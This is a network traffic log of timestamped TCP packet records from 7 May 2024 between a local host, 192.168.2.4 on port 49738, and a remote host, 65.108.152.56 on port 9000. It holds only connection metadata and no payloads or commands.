May 7, 2024 05:29:02.595117092 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595129967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595165968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.595174074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595185995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595189095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.595210075 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595216036 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.595222950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.595237970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.595261097 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.595272064 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596108913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596143961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596155882 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596189976 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596365929 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596379995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596412897 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596425056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596434116 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596440077 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596466064 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596487999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596488953 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596503019 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.596534014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.596556902 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.597369909 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597383022 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597415924 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597419024 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.597429037 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597440958 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.597443104 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597460032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.597479105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.597480059 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.597526073 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598275900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598298073 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598329067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598372936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598372936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598372936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598386049 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598400116 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598427057 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598436117 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.598448992 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.598500013 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.599338055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599351883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599374056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599380970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.599387884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599396944 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.599423885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.599425077 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599438906 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.599464893 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.599488974 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600188017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600200891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600229979 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600240946 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600251913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600265980 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600279093 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600292921 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600292921 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.600313902 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600322008 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.600341082 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601280928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601295948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601321936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601332903 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601344109 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601357937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601382971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601387024 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601397991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.601402044 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601417065 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.601433039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602231026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602271080 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602287054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602300882 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602313995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602336884 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602336884 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602350950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602355957 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602365971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.602391005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.602416039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603085995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603131056 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603143930 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603158951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603172064 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603182077 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603202105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603210926 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603215933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.603238106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603238106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.603262901 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604008913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604048967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604057074 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604090929 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604312897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604326963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604346037 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604356050 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604361057 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604377031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604384899 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604401112 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604408979 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604440928 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.604527950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.604568005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605294943 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605328083 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605334044 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605367899 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605390072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605429888 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605437994 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605463028 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605475903 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.605484962 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605503082 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.605526924 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606200933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606234074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606246948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606249094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606273890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606295109 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606297970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606308937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606323957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.606338024 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606357098 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.606381893 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607103109 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607116938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607147932 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607147932 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607171059 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607173920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607201099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607223988 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607224941 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607238054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.607264996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.607284069 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608103991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608138084 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608146906 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608166933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608179092 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608181000 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608191013 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608206987 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608212948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.608227015 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608261108 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.608261108 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609000921 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609014988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609047890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609061956 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609067917 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609076023 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609103918 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609117031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609126091 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609158993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609188080 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.609231949 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.609997034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610030890 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610043049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610073090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610078096 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610085964 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610097885 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610110998 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610116005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610135078 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610167027 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610938072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610954046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610964060 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610975027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.610985041 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.610990047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.611002922 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.611004114 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.611027002 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.611049891 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.611900091 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.611912012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.611944914 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.611967087 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612143993 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612155914 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612168074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612189054 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612200022 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612210989 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612227917 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612237930 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612251043 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.612251997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612277985 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612296104 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.612972021 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613002062 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613013983 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613018036 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613027096 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613054037 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613063097 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613074064 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613097906 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613141060 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613142014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613250017 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613836050 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613850117 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613876104 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613877058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613889933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613898993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613914967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613917112 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613923073 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613940001 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.613950014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.613975048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614784956 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614798069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614809036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614821911 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614830017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614840031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614840031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614852905 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614861965 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614883900 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.614886045 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.614922047 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.615807056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.615844965 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.615858078 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.615869999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.615891933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.615901947 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.615911961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.615952015 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.615952015 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.615989923 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616009951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616044044 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616569042 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616581917 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616605997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616605997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616616011 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616628885 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616652012 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616672993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616703033 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616743088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.616744995 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.616780043 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617485046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617508888 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617521048 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617523909 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617551088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617551088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617572069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617583990 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617594957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.617643118 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617643118 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.617643118 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.618537903 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618551016 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618580103 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.618587017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618599892 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618621111 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.618623018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618639946 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.618660927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.618664980 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.618705034 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619102001 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619115114 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619143009 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619153976 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619457006 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619491100 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619507074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619543076 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619551897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619585991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619589090 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619611025 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619622946 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619645119 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.619652033 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.619688034 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620398045 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620438099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620440006 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620474100 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620476961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620490074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620512009 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620515108 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620532036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.620533943 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620538950 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.620574951 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.621229887 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621263027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621267080 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.621285915 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621300936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.621319056 CEST	49738	9000	192.168.2.4	65.108.152.56
